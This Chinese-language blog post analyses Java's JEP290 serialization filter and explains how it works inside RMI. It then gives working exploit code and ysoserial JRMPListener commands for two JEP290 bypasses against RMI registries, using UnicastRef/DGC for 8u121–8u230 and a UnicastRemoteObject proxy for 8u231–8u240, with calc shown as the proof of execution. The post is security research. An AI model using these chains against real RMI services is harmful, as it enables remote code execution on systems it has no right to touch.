ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - JEP290

+

JEP290

关于JEP290的介绍

JEP290的描述是Filter Incoming Serialization Data,即过滤传入的序列化数据

JEP290是jdk发布的一个安全机制,它会在RMI服务端准备反序列化客户端发来的序列化对象时进行过滤,主要的实现方法是通过在ObjectInputStream中新增的filterCheck方法

private void filterCheck(Class<?> clazz, int arrayLength)  
        throws InvalidClassException {  
    if (serialFilter != null) {  
        RuntimeException ex = null;  
        ObjectInputFilter.Status status;  
        try {  
            status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,  
                    totalObjectRefs, depth, bin.getBytesRead()));  
        } catch (RuntimeException e) {  
            // Preventive interception of an exception to log  
            status = ObjectInputFilter.Status.REJECTED;  
            ex = e;  
        }  
        if (status == null  ||  
                status == ObjectInputFilter.Status.REJECTED) {  
            // Debug logging of filter checks that fail  
            if (Logging.infoLogger != null) {  
                Logging.infoLogger.info(  
                        "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",  
                        status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(),  
                        Objects.toString(ex, "n/a"));  
            }  
            InvalidClassException ice = new InvalidClassException("filter status: " + status);  
            ice.initCause(ex);  
            throw ice;  
        } else {  
            // Trace logging for those that succeed  
            if (Logging.traceLogger != null) {  
                Logging.traceLogger.finer(  
                        "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",  
                        status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(),  
                        Objects.toString(ex, "n/a"));  
            }  
        }  
    }  
}

我们会发现任何不允许的类都会触发返回REJECT 这个方法是如何被调用的呢?

我们触发一个Client,跟进到readObject0

这里根据序列化数据类型进入到不同方法进行处理,我这里返回了String,所以进入了TC_STRING,看看readClassDesc

在这里读取得到的类被进一步分类到不同函数,我们随便点进去一个,其都会调用到filterCheck

再往上找,readobject0是被RegistryImpl_Skel#dispatch所调用readObject之后被调用的

JEP290支持自定义类的白名单,对于RMI,其自带了黑名单,在sun.rmi.registry.RegistryImpl#registryFilter

private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {  
    if (registryFilter != null) {  
        ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);  
        if (var1 != Status.UNDECIDED) {  
            return var1;  
        }    }  
    //过滤对象深度
    if (var0.depth() > 20L) {  
        return Status.REJECTED;  
    } else {  
        Class var2 = var0.serialClass();  
        if (var2 == null) {  
            return Status.UNDECIDED;  
        } else {  
            if (var2.isArray()) {  
            //对字节数判断
                if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {  
                    return Status.REJECTED;  
                }  
                do {  
                    var2 = var2.getComponentType();  
                } while(var2.isArray());  
            }  
            if (var2.isPrimitive()) {  
                return Status.ALLOWED;  
            } else {  
                return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;  
            }        }    }}

可以看到对嵌套对象深度的判断,还有过滤的逻辑主要在最后的return,白名单主要包括:

  • String.class

  • Number.class 及其子类

  • Remote.class 及其子类

  • Proxy.class 及其子类

  • UnicastRef.class

  • RMIClientSocketFactory.class

  • RMIServerSocketFactory.class

  • ActivationID.class

  • UID.class

其实在readobject0的类一般经过filterCheck最后都会进入这个registryFilter进行过滤

关于自定义过滤器,可以实现ObjectInputFilter接口得到自定义过滤

RMI反序列化

当Client调用远程对象的方法时,服务端会先进入到UnicastServerRef.class

跟进到unmarshalCustomCallData,我们可以发现在这里,JEP290的filter得到加载

然后在oldDispatch中,调用到了RegistryImpl_Skeldispatch,在这里分情况进行了反射调用,readobject0也在这里被调用,JEP290继而进行后面的过滤操作 反射调用了UnicastRef类的unmarshalValue这个方法,对接收到的数据和参数进行反序列化操作

总计一下,就是说如果我们能精心构造一个恶意对象发给Server(通过bind()方法),它就会触发到readObject 那么这就是RMI反序列化的大致流程,接下来讨论如何利用它

Bypass

Unicastref 来看看这个简单的例子

public class Client {  
    public static void main(String[] args) {  
        // TODO Auto-generated method stub  
        try {  
            Registry registry = LocateRegistry.getRegistry("localhost",2333);  
            Interface serv = (Interface) registry.lookup("service");  
            String data = "当你看到这句话时,意味着RMI运行成功";  
            System.out.println(serv.service(data));  
        }  
        catch (RemoteException | NotBoundException e) {  
            // TODO Auto-generated catch block  
            e.printStackTrace();  
        }  
    }  
}

打点,看看封装好的Stub

ref是UnicastRef的对象,其中又包含了LiveRef和TCPEndPoint,后者包含了链接对象的地址和端口

当 RMI 客户端调用远程方法时,UnicastRef 负责:

  1. 获取远程对象的引用

    1. 当客户端调用 registry.lookup("HelloService") 时,返回的是 HelloService 远程对象的代理(Stub),Stub 内部持有一个 UnicastRef
  2. 建立 Socket 连接

    1. UnicastRef 解析远程对象的主机地址和****端口,然后建立一个 TCP 连接到服务器端。
  3. 序列化****请求并发送

    1. UnicastRef 将方法调用参数序列化,发送到服务器端。
  4. 服务器端处理并返回结果

    1. 服务器端 UnicastRemoteObject 反序列化请求,调用真正的远程方法,并返回结果。
  5. 客户端接收并反序列化结果

    1. UnicastRef 解析服务器端返回的数据,并将方法返回值提供给客户端。

Bypass 8u121~8u230 打Registry

如何绕过JEP290对反序列化类的限制? 其实就是在白名单的类中找能被利用的readobject

先来看看抽象类RemoteObject,其继承了Remote和Serializable

在服务端接收到RemoteObject的对象之后自动调用其readObject方法,其readObject方法最后调用了ref的readExternal,这里的ref是UnicastRef的对象

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {  
    this.ref = LiveRef.read(var1, false);  
}

这里的read方法用来读取LiveRef的对象,得到远程对象的TCP信息 我们看向DGCClient.registerRefs(var2, Arrays.asList(var5));

它的lookup又新建了EndpointEntry的对象

它的构造方法

this.dgc = (DGC)Util.createProxy(DGCImpl.class, new UnicastRef(var2), true);这里,Util.createProxy建立了又一个UnicastRef的对象发起连接,那么我们可以利用这点

那么很明确了,我们可以将恶意的JRMP服务地址和端口(JRMPClient)作为UnicastRef对象封装进RemoteObject,在注册中心时会尝试连接到JRMPListener,此时我们的Listener返回恶意序列化信息就不会经过JEP290,因为是由DGCImpl的dirty处理的,以此绕过了JEP290

复现: 使用ysoserial起JRMPLinster,在工程中添加CC依赖,我们尝试打CC链

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2334 CommonsCollections6 'kcalc'

Registry

public class RegistryCentry {  
    public static void main(String args[]) throws RemoteException {  
        try {  
            LocateRegistry.createRegistry(1099);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
        System.out.printf("注册中心运行在1099");  
        while (true);  
    }  
}

一般RMI注册中心默认在1099

Client

public class Client {  
    public static void main(String args[]) throws RemoteException, AlreadyBoundException {  
        Registry reg = LocateRegistry.getRegistry();  
        ObjID id = new ObjID(new Random().nextInt());  //创建一个ObjID对象
        TCPEndpoint tcpe = new TCPEndpoint("localhost", 2334);  //封装一个TCP管道,向yso起得Listener
        UnicastRef ref = new UnicastRef(new LiveRef(id, tcpe, false));  //将objid对象和tcp对象传入LiveRef的对象,之后传入UnicastRef的对象
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);  //获取了一个RemoteObject的一个对象
        reg.bind("pwn", handler);  //bind对象,触发攻击
    }  
}

准备好之后运行,弹计算器

客户端发送数据 --> ...
    UnicastServerRef#dispatch -->
        UnicastServerRef#oldDispatch --> 
            RegistryImpl_Skle#dispatch --> RemoteObject#readObject
                StreamRemoteCall#releaseInputStream -->
                    ConnectionInputStream#registerRefs -->
                        DGCClient#registerRefs -->
                            DGCClient$EndpointEntry#registerRefs -->
                                DGCClient$EndpointEntry#makeDirtyCall -->
                                    DGCImpl_Stub#dirty --> 
                                        UnicastRef#invoke --> (RemoteCall var1)
                                            StreamRemoteCall#executeCall --> 
                                                ObjectInputSteam#readObject --> "pwn"

Bypass 8u231~8u240 打Registry

那么ban也ban在dirty方法,231之后dirty中多了setObjectInputfilter方法引入了JEP290 那么如何绕过呢?

这条链子通过一次反序列化触发

调用栈:
nicastRemoteObject#readObject –>
UnicastRemoteObject#reexport –>
UnicastRemoteObject#exportObject –> overload
UnicastRemoteObject#exportObject –>
UnicastServerRef#exportObject –> …
TCPTransport#listen –>
TcpEndpoint#newServerSocket –>
RMIServerSocketFactory#createServerSocket –> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke –>
RemoteObjectInvocationHandler#invokeMethod –>
UnicastRef#invoke –> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”

前面的省略,打点到TCPTransport的listen方法,跟进它的newServerSocket

其调用了creatServerScoket,构造函数传入的ssf被赋给了var1,这里的逻辑将它转换为了`RMIServerSocketFactory`类型

这里的ssf是我们创建的`RemoteObjectInvocation`的动态代理,当调用这里的creatServerSocket方法时会拉起RemoteObjectInvocation的invoke方法

所有if都不满足,进入invokeRemoteMethod方法

这里的ref可为UnicastRef,也就是说这里调用了UnicastRef的invoke方法,并且附带了参数

我们在这个ref中封装好TCPEncpoint对象,跟进到`this.ref.getChannel().newConnection();`方法,该方法最后跳转到了createConnection()

this.ep是封装好的TCPEndpoint,这段代码调用了它的newSocket方法发起了链接,最终实现绕过JEP290进行JRMP攻击

注册中心

package org.example;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

import static java.rmi.registry.LocateRegistry.createRegistry;

public class RegistryCentry {
    public static void main(String args[]) throws RemoteException {
        try {
            LocateRegistry.createRegistry(1099);
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.printf("注册中心运行在1099");
        while (true);
    }
}

恶意用户端

package org.example;

import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.server.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.transport.LiveRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.util.Random;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // Create a malicious payload
            UnicastRemoteObject payload = createPayload();

            // Get the RMI registry on the default port (1099)
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

            // Bind the payload to the registry using reflection
            bindReflection("pwn", payload, registry);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * Creates a malicious UnicastRemoteObject payload.
     *
     * @return A UnicastRemoteObject instance with a custom RMIServerSocketFactory.
     * @throws Exception If any reflection or instantiation error occurs.
     */
    private static UnicastRemoteObject createPayload() throws Exception {
        // Create a random ObjID for the LiveRef
        ObjID objId = new ObjID(new Random().nextInt());

        // Create a TCPEndpoint pointing to localhost:9999
        TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 9999);

        // Create a LiveRef with the ObjID and TCPEndpoint
        LiveRef liveRef = new LiveRef(objId, tcpEndpoint, false);

        // Create an UnicastRef with the LiveRef
        UnicastRef unicastRef = new UnicastRef(liveRef);

        // Enable saving dynamically generated proxy classes
        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

        // Create a RemoteObjectInvocationHandler with the UnicastRef
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);

        // Create a dynamic proxy for RMIServerSocketFactory and Remote interfaces
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},
                handler
        );

        // Use reflection to instantiate a UnicastRemoteObject
        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();

        // Use reflection to set the ssf (RMIServerSocketFactory) field
        Field ssfField = UnicastRemoteObject.class.getDeclaredField("ssf");
        ssfField.setAccessible(true);
        ssfField.set(unicastRemoteObject, factory);

        return unicastRemoteObject;
    }

    /**
     * Binds an object to the RMI registry using reflection.
     *
     * @param name     The name to bind the object to.
     * @param obj      The object to bind.
     * @param registry The RMI registry.
     * @throws Exception If any reflection or invocation error occurs.
     */
    private static void bindReflection(String name, Object obj, Registry registry) throws Exception {
        // Use reflection to get the 'ref' field from RemoteObject
        Field refField = RemoteObject.class.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef ref = (UnicastRef) refField.get(registry);

        // Use reflection to get the 'operations' field from RegistryImpl_Stub
        Field operationsField = RegistryImpl_Stub.class.getDeclaredField("operations");
        operationsField.setAccessible(true);
        Operation[] operations = (Operation[]) operationsField.get(registry);

        // Create a new RemoteCall with the registry and operations
        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);

        // Get the ObjectOutput stream from the RemoteCall
        ObjectOutput outputStream = remoteCall.getOutputStream();

        // Use reflection to disable object replacement in the ObjectOutputStream
        Field enableReplaceField = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplaceField.setAccessible(true);
        enableReplaceField.setBoolean(outputStream, false);

        // Write the object name and object to the output stream
        outputStream.writeObject(name);
        outputStream.writeObject(obj);

        // Invoke the RemoteCall and mark it as done
        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
}

JRMPLinstener

C:\Progra~1\Java\jdk1.8.0_202\bin\java.exe -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'

如果要打CC链,别忘了加依赖

Links

https://www.anquanke.com/post/id/259059 https://mp.weixin.qq.com/s?__biz=MzU5MjEzOTM3NA==&mid=2247486999&idx=1&sn=996a621f3144143e7136a1f90fdb228a&chksm=ff8f5cf867d42f7d8f8c06c53e1997228996f736fde3f68433e84fcf7b246c91f2298e0d019b#rd

https://www.anquanke.com/post/id/200860 https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md

https://xz.aliyun.com/news/6860 Java JRMP攻击 - zpchcbd - 博客园

END